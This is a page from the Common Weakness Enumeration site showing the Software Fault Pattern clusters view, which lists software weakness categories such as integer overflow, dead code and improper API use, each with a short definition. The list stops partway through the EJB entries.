CWE

Common Weakness Enumeration

A community-developed list of SW & HW weaknesses that can become vulnerabilities

New to CWE? click here!
CWE Most Important Hardware Weaknesses
CWE Top 25 Most Dangerous Weaknesses
Home > CWE List > VIEW SLICE: CWE-888: Software Fault Pattern (SFP) Clusters (4.14)  
ID

CWE VIEW: Software Fault Pattern (SFP) Clusters

View ID: 888
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
Type: Graph
Downloads: Booklet | CSV | XML
+ Objective
CWE identifiers in this view are associated with clusters of Software Fault Patterns (SFPs).
+ Audience
StakeholderDescription
Applied Researchers
Academic Researchers
Product Vendors
+ Relationships
The following graph shows the tree-like relationships between weaknesses that exist at different levels of abstraction. At the highest level, categories and pillars exist to group weaknesses. Categories (which are not technically weaknesses) are special CWE entries used to group weaknesses that share a common characteristic. Pillars are weaknesses that are described in the most abstract fashion. Below these top-level entries are weaknesses are varying levels of abstraction. Classes are still very abstract, typically independent of any specific language or technology. Base level weaknesses are used to present a more specific type of weakness. A variant is a weakness that is described at a very low level of detail, typically limited to a specific language or technology. A chain is a set of weaknesses that must be reachable consecutively in order to produce an exploitable vulnerability. While a composite is a set of weaknesses that must all be present simultaneously in order to produce an exploitable vulnerability.
Show Details:
888 - Software Fault Pattern (SFP) Clusters
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Primary Cluster: Risky Values - (885)
888 (Software Fault Pattern (SFP) Clusters) > 885 (SFP Primary Cluster: Risky Values)
This category identifies Software Fault Patterns (SFPs) within the Risky Values cluster (SFP1).
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Glitch in Computation - (998)
888 (Software Fault Pattern (SFP) Clusters) > 885 (SFP Primary Cluster: Risky Values) > 998 (SFP Secondary Cluster: Glitch in Computation)
This category identifies Software Fault Patterns (SFPs) within the Glitch in Computation cluster (SFP1).
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Wrap-around Error - (128)
888 (Software Fault Pattern (SFP) Clusters) > 885 (SFP Primary Cluster: Risky Values) > 998 (SFP Secondary Cluster: Glitch in Computation) > 128 (Wrap-around Error)
Wrap around errors occur whenever a value is incremented past the maximum value for its type and therefore "wraps around" to a very small, negative, or undefined value.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Integer Overflow or Wraparound - (190)
888 (Software Fault Pattern (SFP) Clusters) > 885 (SFP Primary Cluster: Risky Values) > 998 (SFP Secondary Cluster: Glitch in Computation) > 190 (Integer Overflow or Wraparound)
The product performs a calculation that can produce an integer overflow or wraparound, when the logic assumes that the resulting value will always be larger than the original value. This can introduce other weaknesses when the calculation is used for resource management or execution control.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Integer Underflow (Wrap or Wraparound) - (191)
888 (Software Fault Pattern (SFP) Clusters) > 885 (SFP Primary Cluster: Risky Values) > 998 (SFP Secondary Cluster: Glitch in Computation) > 191 (Integer Underflow (Wrap or Wraparound))
The product subtracts one value from another, such that the result is less than the minimum allowable integer value, which produces a value that is not equal to the correct result.Integer underflow
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Unexpected Sign Extension - (194)
888 (Software Fault Pattern (SFP) Clusters) > 885 (SFP Primary Cluster: Risky Values) > 998 (SFP Secondary Cluster: Glitch in Computation) > 194 (Unexpected Sign Extension)
The product performs an operation on a number that causes it to be sign extended when it is transformed into a larger data type. When the original number is negative, this can produce unexpected values that lead to resultant weaknesses.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Signed to Unsigned Conversion Error - (195)
888 (Software Fault Pattern (SFP) Clusters) > 885 (SFP Primary Cluster: Risky Values) > 998 (SFP Secondary Cluster: Glitch in Computation) > 195 (Signed to Unsigned Conversion Error)
The product uses a signed primitive and performs a cast to an unsigned primitive, which can produce an unexpected value if the value of the signed primitive can not be represented using an unsigned primitive.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Unsigned to Signed Conversion Error - (196)
888 (Software Fault Pattern (SFP) Clusters) > 885 (SFP Primary Cluster: Risky Values) > 998 (SFP Secondary Cluster: Glitch in Computation) > 196 (Unsigned to Signed Conversion Error)
The product uses an unsigned primitive and performs a cast to a signed primitive, which can produce an unexpected value if the value of the unsigned primitive can not be represented using a signed primitive.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Numeric Truncation Error - (197)
888 (Software Fault Pattern (SFP) Clusters) > 885 (SFP Primary Cluster: Risky Values) > 998 (SFP Secondary Cluster: Glitch in Computation) > 197 (Numeric Truncation Error)
Truncation errors occur when a primitive is cast to a primitive of a smaller size and data is lost in the conversion.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Divide By Zero - (369)
888 (Software Fault Pattern (SFP) Clusters) > 885 (SFP Primary Cluster: Risky Values) > 998 (SFP Secondary Cluster: Glitch in Computation) > 369 (Divide By Zero)
The product divides a value by zero.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Missing Initialization of a Variable - (456)
888 (Software Fault Pattern (SFP) Clusters) > 885 (SFP Primary Cluster: Risky Values) > 998 (SFP Secondary Cluster: Glitch in Computation) > 456 (Missing Initialization of a Variable)
The product does not initialize critical variables, which causes the execution environment to use unexpected values.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Use of Uninitialized Variable - (457)
888 (Software Fault Pattern (SFP) Clusters) > 885 (SFP Primary Cluster: Risky Values) > 998 (SFP Secondary Cluster: Glitch in Computation) > 457 (Use of Uninitialized Variable)
The code uses a variable that has not been initialized, leading to unpredictable or unintended results.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Return of Pointer Value Outside of Expected Range - (466)
888 (Software Fault Pattern (SFP) Clusters) > 885 (SFP Primary Cluster: Risky Values) > 998 (SFP Secondary Cluster: Glitch in Computation) > 466 (Return of Pointer Value Outside of Expected Range)
A function can return a pointer to memory that is outside of the buffer that the pointer is expected to reference.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Incorrect Pointer Scaling - (468)
888 (Software Fault Pattern (SFP) Clusters) > 885 (SFP Primary Cluster: Risky Values) > 998 (SFP Secondary Cluster: Glitch in Computation) > 468 (Incorrect Pointer Scaling)
In C and C++, one may often accidentally refer to the wrong memory due to the semantics of when math operations are implicitly scaled.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Undefined Behavior for Input to API - (475)
888 (Software Fault Pattern (SFP) Clusters) > 885 (SFP Primary Cluster: Risky Values) > 998 (SFP Secondary Cluster: Glitch in Computation) > 475 (Undefined Behavior for Input to API)
The behavior of this function is undefined unless its control parameter is set to a specific value.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Use of Incorrect Operator - (480)
888 (Software Fault Pattern (SFP) Clusters) > 885 (SFP Primary Cluster: Risky Values) > 998 (SFP Secondary Cluster: Glitch in Computation) > 480 (Use of Incorrect Operator)
The product accidentally uses the wrong operator, which changes the logic in security-relevant ways.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Assigning instead of Comparing - (481)
888 (Software Fault Pattern (SFP) Clusters) > 885 (SFP Primary Cluster: Risky Values) > 998 (SFP Secondary Cluster: Glitch in Computation) > 481 (Assigning instead of Comparing)
The code uses an operator for assignment when the intention was to perform a comparison.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Comparison of Classes by Name - (486)
888 (Software Fault Pattern (SFP) Clusters) > 885 (SFP Primary Cluster: Risky Values) > 998 (SFP Secondary Cluster: Glitch in Computation) > 486 (Comparison of Classes by Name)
The product compares classes by name, which can cause it to use the wrong class when multiple classes can have the same name.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Return of Stack Variable Address - (562)
888 (Software Fault Pattern (SFP) Clusters) > 885 (SFP Primary Cluster: Risky Values) > 998 (SFP Secondary Cluster: Glitch in Computation) > 562 (Return of Stack Variable Address)
A function returns the address of a stack variable, which will cause unintended program behavior, typically in the form of a crash.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Expression is Always False - (570)
888 (Software Fault Pattern (SFP) Clusters) > 885 (SFP Primary Cluster: Risky Values) > 998 (SFP Secondary Cluster: Glitch in Computation) > 570 (Expression is Always False)
The product contains an expression that will always evaluate to false.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Expression is Always True - (571)
888 (Software Fault Pattern (SFP) Clusters) > 885 (SFP Primary Cluster: Risky Values) > 998 (SFP Secondary Cluster: Glitch in Computation) > 571 (Expression is Always True)
The product contains an expression that will always evaluate to true.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.J2EE Bad Practices: Non-serializable Object Stored in Session - (579)
888 (Software Fault Pattern (SFP) Clusters) > 885 (SFP Primary Cluster: Risky Values) > 998 (SFP Secondary Cluster: Glitch in Computation) > 579 (J2EE Bad Practices: Non-serializable Object Stored in Session)
The product stores a non-serializable object as an HttpSession attribute, which can hurt reliability.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Assignment of a Fixed Address to a Pointer - (587)
888 (Software Fault Pattern (SFP) Clusters) > 885 (SFP Primary Cluster: Risky Values) > 998 (SFP Secondary Cluster: Glitch in Computation) > 587 (Assignment of a Fixed Address to a Pointer)
The product sets a pointer to a specific address other than NULL or 0.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.J2EE Framework: Saving Unserializable Objects to Disk - (594)
888 (Software Fault Pattern (SFP) Clusters) > 885 (SFP Primary Cluster: Risky Values) > 998 (SFP Secondary Cluster: Glitch in Computation) > 594 (J2EE Framework: Saving Unserializable Objects to Disk)
When the J2EE container attempts to write unserializable objects to disk there is no guarantee that the process will complete successfully.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Use of Wrong Operator in String Comparison - (597)
888 (Software Fault Pattern (SFP) Clusters) > 885 (SFP Primary Cluster: Risky Values) > 998 (SFP Secondary Cluster: Glitch in Computation) > 597 (Use of Wrong Operator in String Comparison)
The product uses the wrong operator when comparing a string, such as using "==" when the .equals() method should be used instead.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Function Call with Incorrectly Specified Arguments - (628)
888 (Software Fault Pattern (SFP) Clusters) > 885 (SFP Primary Cluster: Risky Values) > 998 (SFP Secondary Cluster: Glitch in Computation) > 628 (Function Call with Incorrectly Specified Arguments)
The product calls a function, procedure, or routine with arguments that are not correctly specified, leading to always-incorrect behavior and resultant weaknesses.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Incorrect Conversion between Numeric Types - (681)
888 (Software Fault Pattern (SFP) Clusters) > 885 (SFP Primary Cluster: Risky Values) > 998 (SFP Secondary Cluster: Glitch in Computation) > 681 (Incorrect Conversion between Numeric Types)
When converting from one data type to another, such as long to integer, data can be omitted or translated in a way that produces unexpected values. If the resulting values are used in a sensitive context, then dangerous behaviors may occur.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Function Call With Incorrect Order of Arguments - (683)
888 (Software Fault Pattern (SFP) Clusters) > 885 (SFP Primary Cluster: Risky Values) > 998 (SFP Secondary Cluster: Glitch in Computation) > 683 (Function Call With Incorrect Order of Arguments)
The product calls a function, procedure, or routine, but the caller specifies the arguments in an incorrect order, leading to resultant weaknesses.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Function Call With Incorrect Number of Arguments - (685)
888 (Software Fault Pattern (SFP) Clusters) > 885 (SFP Primary Cluster: Risky Values) > 998 (SFP Secondary Cluster: Glitch in Computation) > 685 (Function Call With Incorrect Number of Arguments)
The product calls a function, procedure, or routine, but the caller specifies too many arguments, or too few arguments, which may lead to undefined behavior and resultant weaknesses.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Function Call With Incorrect Argument Type - (686)
888 (Software Fault Pattern (SFP) Clusters) > 885 (SFP Primary Cluster: Risky Values) > 998 (SFP Secondary Cluster: Glitch in Computation) > 686 (Function Call With Incorrect Argument Type)
The product calls a function, procedure, or routine, but the caller specifies an argument that is the wrong data type, which may lead to resultant weaknesses.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Function Call With Incorrect Variable or Reference as Argument - (688)
888 (Software Fault Pattern (SFP) Clusters) > 885 (SFP Primary Cluster: Risky Values) > 998 (SFP Secondary Cluster: Glitch in Computation) > 688 (Function Call With Incorrect Variable or Reference as Argument)
The product calls a function, procedure, or routine, but the caller specifies the wrong variable or reference as one of the arguments, which may lead to undefined behavior and resultant weaknesses.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Incorrect Type Conversion or Cast - (704)
888 (Software Fault Pattern (SFP) Clusters) > 885 (SFP Primary Cluster: Risky Values) > 998 (SFP Secondary Cluster: Glitch in Computation) > 704 (Incorrect Type Conversion or Cast)
The product does not correctly convert an object, resource, or structure from one type to a different type.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Incorrect Short Circuit Evaluation - (768)
888 (Software Fault Pattern (SFP) Clusters) > 885 (SFP Primary Cluster: Risky Values) > 998 (SFP Secondary Cluster: Glitch in Computation) > 768 (Incorrect Short Circuit Evaluation)
The product contains a conditional statement with multiple logical expressions in which one of the non-leading expressions may produce side effects. This may lead to an unexpected state in the program after the execution of the conditional, because short-circuiting logic may prevent the side effects from occurring.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Primary Cluster: Unused entities - (886)
888 (Software Fault Pattern (SFP) Clusters) > 886 (SFP Primary Cluster: Unused entities)
This category identifies Software Fault Patterns (SFPs) within the Unused entities cluster (SFP2).
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Comparing instead of Assigning - (482)
888 (Software Fault Pattern (SFP) Clusters) > 886 (SFP Primary Cluster: Unused entities) > 482 (Comparing instead of Assigning)
The code uses an operator for comparison when the intention was to perform an assignment.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Dead Code - (561)
888 (Software Fault Pattern (SFP) Clusters) > 886 (SFP Primary Cluster: Unused entities) > 561 (Dead Code)
The product contains dead code, which can never be executed.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Assignment to Variable without Use - (563)
888 (Software Fault Pattern (SFP) Clusters) > 886 (SFP Primary Cluster: Unused entities) > 563 (Assignment to Variable without Use)
The variable's value is assigned but never used, making it a dead store.Unused Variable
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Primary Cluster: API - (887)
888 (Software Fault Pattern (SFP) Clusters) > 887 (SFP Primary Cluster: API)
This category identifies Software Fault Patterns (SFPs) within the API cluster (SFP3).
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Use of an Improper API - (1001)
888 (Software Fault Pattern (SFP) Clusters) > 887 (SFP Primary Cluster: API) > 1001 (SFP Secondary Cluster: Use of an Improper API)
This category identifies Software Fault Patterns (SFPs) within the Use of an Improper API cluster (SFP3).
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Direct Use of Unsafe JNI - (111)
888 (Software Fault Pattern (SFP) Clusters) > 887 (SFP Primary Cluster: API) > 1001 (SFP Secondary Cluster: Use of an Improper API) > 111 (Direct Use of Unsafe JNI)
When a Java application uses the Java Native Interface (JNI) to call code written in another programming language, it can expose the application to weaknesses in that code, even if those weaknesses cannot occur in Java.
*CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7PK - API Abuse - (227)
888 (Software Fault Pattern (SFP) Clusters) > 887 (SFP Primary Cluster: API) > 1001 (SFP Secondary Cluster: Use of an Improper API) > 227 (7PK - API Abuse)
This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that involve the software using an API in a manner contrary to its intended use. According to the authors of the Seven Pernicious Kingdoms, "An API is a contract between a caller and a callee. The most common forms of API misuse occurs when the caller does not honor its end of this contract. For example, if a program does not call chdir() after calling chroot(), it violates the contract that specifies how to change the active root directory in a secure fashion. Another good example of library abuse is expecting the callee to return trustworthy DNS information to the caller. In this case, the caller misuses the callee API by making certain assumptions about its behavior (that the return value can be used for authentication purposes). One can also violate the caller-callee contract from the other side. For example, if a coder subclasses SecureRandom and returns a non-random value, the contract is violated."
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Use of Inherently Dangerous Function - (242)
888 (Software Fault Pattern (SFP) Clusters) > 887 (SFP Primary Cluster: API) > 1001 (SFP Secondary Cluster: Use of an Improper API) > 242 (Use of Inherently Dangerous Function)
The product calls a function that can never be guaranteed to work safely.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.J2EE Bad Practices: Direct Management of Connections - (245)
888 (Software Fault Pattern (SFP) Clusters) > 887 (SFP Primary Cluster: API) > 1001 (SFP Secondary Cluster: Use of an Improper API) > 245 (J2EE Bad Practices: Direct Management of Connections)
The J2EE application directly manages connections, instead of using the container's connection management facilities.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.J2EE Bad Practices: Direct Use of Sockets - (246)
888 (Software Fault Pattern (SFP) Clusters) > 887 (SFP Primary Cluster: API) > 1001 (SFP Secondary Cluster: Use of an Improper API) > 246 (J2EE Bad Practices: Direct Use of Sockets)
The J2EE application directly uses sockets instead of using framework method calls.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.J2EE Bad Practices: Use of System.exit() - (382)
888 (Software Fault Pattern (SFP) Clusters) > 887 (SFP Primary Cluster: API) > 1001 (SFP Secondary Cluster: Use of an Improper API) > 382 (J2EE Bad Practices: Use of System.exit())
A J2EE application uses System.exit(), which also shuts down its container.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.J2EE Bad Practices: Direct Use of Threads - (383)
888 (Software Fault Pattern (SFP) Clusters) > 887 (SFP Primary Cluster: API) > 1001 (SFP Secondary Cluster: Use of an Improper API) > 383 (J2EE Bad Practices: Direct Use of Threads)
Thread management in a Web application is forbidden in some circumstances and is always highly error prone.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Dangerous Signal Handler not Disabled During Sensitive Operations - (432)
888 (Software Fault Pattern (SFP) Clusters) > 887 (SFP Primary Cluster: API) > 1001 (SFP Secondary Cluster: Use of an Improper API) > 432 (Dangerous Signal Handler not Disabled During Sensitive Operations)
The product uses a signal handler that shares state with other signal handlers, but it does not properly mask or prevent those signal handlers from being invoked while the original signal handler is still running.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Behavioral Change in New Version or Environment - (439)
888 (Software Fault Pattern (SFP) Clusters) > 887 (SFP Primary Cluster: API) > 1001 (SFP Secondary Cluster: Use of an Improper API) > 439 (Behavioral Change in New Version or Environment)
A's behavior or functionality changes with a new version of A, or a new environment, which is not known (or manageable) by B.Functional change
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Expected Behavior Violation - (440)
888 (Software Fault Pattern (SFP) Clusters) > 887 (SFP Primary Cluster: API) > 1001 (SFP Secondary Cluster: Use of an Improper API) > 440 (Expected Behavior Violation)
A feature, API, or function does not perform according to its specification.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Use of Function with Inconsistent Implementations - (474)
888 (Software Fault Pattern (SFP) Clusters) > 887 (SFP Primary Cluster: API) > 1001 (SFP Secondary Cluster: Use of an Improper API) > 474 (Use of Function with Inconsistent Implementations)
The code uses a function that has inconsistent implementations across operating systems and versions.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Use of Obsolete Function - (477)
888 (Software Fault Pattern (SFP) Clusters) > 887 (SFP Primary Cluster: API) > 1001 (SFP Secondary Cluster: Use of an Improper API) > 477 (Use of Obsolete Function)
The code uses deprecated or obsolete functions, which suggests that the code has not been actively reviewed or maintained.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Signal Handler Use of a Non-reentrant Function - (479)
888 (Software Fault Pattern (SFP) Clusters) > 887 (SFP Primary Cluster: API) > 1001 (SFP Secondary Cluster: Use of an Improper API) > 479 (Signal Handler Use of a Non-reentrant Function)
The product defines a signal handler that calls a non-reentrant function.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Use of getlogin() in Multithreaded Application - (558)
888 (Software Fault Pattern (SFP) Clusters) > 887 (SFP Primary Cluster: API) > 1001 (SFP Secondary Cluster: Use of an Improper API) > 558 (Use of getlogin() in Multithreaded Application)
The product uses the getlogin() function in a multithreaded context, potentially causing it to return incorrect values.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Call to Thread run() instead of start() - (572)
888 (Software Fault Pattern (SFP) Clusters) > 887 (SFP Primary Cluster: API) > 1001 (SFP Secondary Cluster: Use of an Improper API) > 572 (Call to Thread run() instead of start())
The product calls a thread's run() method instead of calling start(), which causes the code to run in the thread of the caller instead of the callee.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Improper Following of Specification by Caller - (573)
888 (Software Fault Pattern (SFP) Clusters) > 887 (SFP Primary Cluster: API) > 1001 (SFP Secondary Cluster: Use of an Improper API) > 573 (Improper Following of Specification by Caller)
The product does not follow or incorrectly follows the specifications as required by the implementation language, environment, framework, protocol, or platform.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.EJB Bad Practices: Use of Synchronization Primitives - (574)
888 (Software Fault Pattern (SFP) Clusters) > 887 (SFP Primary Cluster: API) > 1001 (SFP Secondary Cluster: Use of an Improper API) > 574 (EJB Bad Practices: Use of Synchronization Primitives)
The product violates the Enterprise JavaBeans (EJB) specification by using thread synchronization primitives.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.EJB Bad Practices: Use of AWT Swing - (575)
888 (Software Fault Pattern (SFP) Clusters) > 887 (SFP Primary Cluster: API) > 1001 (SFP Secondary Cluster: Use of an Improper API) > 575 (EJB Bad Practices: Use of AWT Swing)
The product violates the Enterprise JavaBeans (EJB) specification by using AWT/Swing.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.EJB Bad Practices: Use of Java I/O - (576)
888 (Software Fault Pattern (SFP) Clusters) > 887 (SFP Primary Cluster: API) > 1001 (SFP Secondary Cluster: Use of an Improper API) > 576 (EJB Bad Practices: Use of Java I/O)
The product violates the Enterprise JavaBeans (EJB) specification by using the java.io package.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.EJB Bad Practices: Use of Sockets - (577)
888 (Software Fault Pattern (SFP) Clusters) > 887 (SFP Primary Cluster: API) > 1001 (SFP Secondary Cluster: Use of an Improper API) > 577 (EJB Bad Practices: Use of Sockets)
The product violates the Enterprise JavaBeans (EJB) specification by using sockets.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.EJB Bad Practices: Use of Class Loader - (578)
888 (Software Fault Pattern (SFP) Clusters) > 887 (SFP Primary Cluster: API) > 1001 (SFP Secondary Cluster: Use of an Improper API) > 578 (EJB Bad Practices: Use of Class Loader)
